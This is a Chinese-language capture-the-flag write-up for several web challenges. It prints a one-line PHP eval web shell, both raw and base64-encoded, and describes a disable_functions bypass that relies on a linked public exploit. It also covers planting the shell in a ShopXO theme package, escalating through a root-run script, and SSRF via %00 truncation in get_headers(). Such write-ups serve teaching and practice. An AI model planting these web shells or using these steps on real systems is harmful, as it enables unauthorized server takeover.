一開始就是一段代碼審計
首先查看phpinfo();
base64加密得 cGhwaW5mbygpOw==
回顯成功,利用一句話連接
eval($_POST[123]);
base64加密得ZXZhbCgkX1BPU1RbMTIzXSk7
在根目錄看到一個flag,但是沒有權限查看。還有一個readflag文件,查看一下可以發現此文件的內容還有cat /flag,應該是執行此文件。
但是發現蟻劍終端並不能用,回到phpinfo()發現很多方法被禁用。
過濾了很多function,想到繞過disable_functions,上傳一個文件使其執行任意命令,exp來自https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
在這里稍微改一下。
首先要上傳,利用蟻劍上傳
然后在頁面就可以得到flag
打開鏈接,直接百度shopxo漏洞,可以看到漏洞復現的鏈接:
http://www.nctry.com/1660.html
直接訪問admin.php
登錄成功,進入后台找到應用中心-應用商店-主題,然后下載默認主題
下載一個安裝包,把shell放入壓縮包的default\_static_目錄下:
ma.php內容
success
<?php eval($_POST[123]); ?>
直接把ma.php放到主題的壓縮包里面
然后進行安裝,網站管理-主題管理-主題安裝
安裝成功之后,看一下shell有沒有傳上去
訪問:
http://e89c5245-3a1e-4d54-9c2b-33ad7c093c88.node3.buuoj.cn/public/static/index/default/ma.php
直接蟻劍連接
在根目錄發現flag,說是假的flag,真的在/root下
flag.hint
我們看到auto.sh執行/var/mail/makeflaghint.py
在/var/mail/makeflaghint.py修改一下代碼,加入兩行內容讀取/root/flag到/flag.hint
然后去查看flag.hint 就可以看到flag
通過%00截斷可以讓get_headers()
請求到錯誤的主機,於是請求到本地
然后根據提示把ip末尾改為123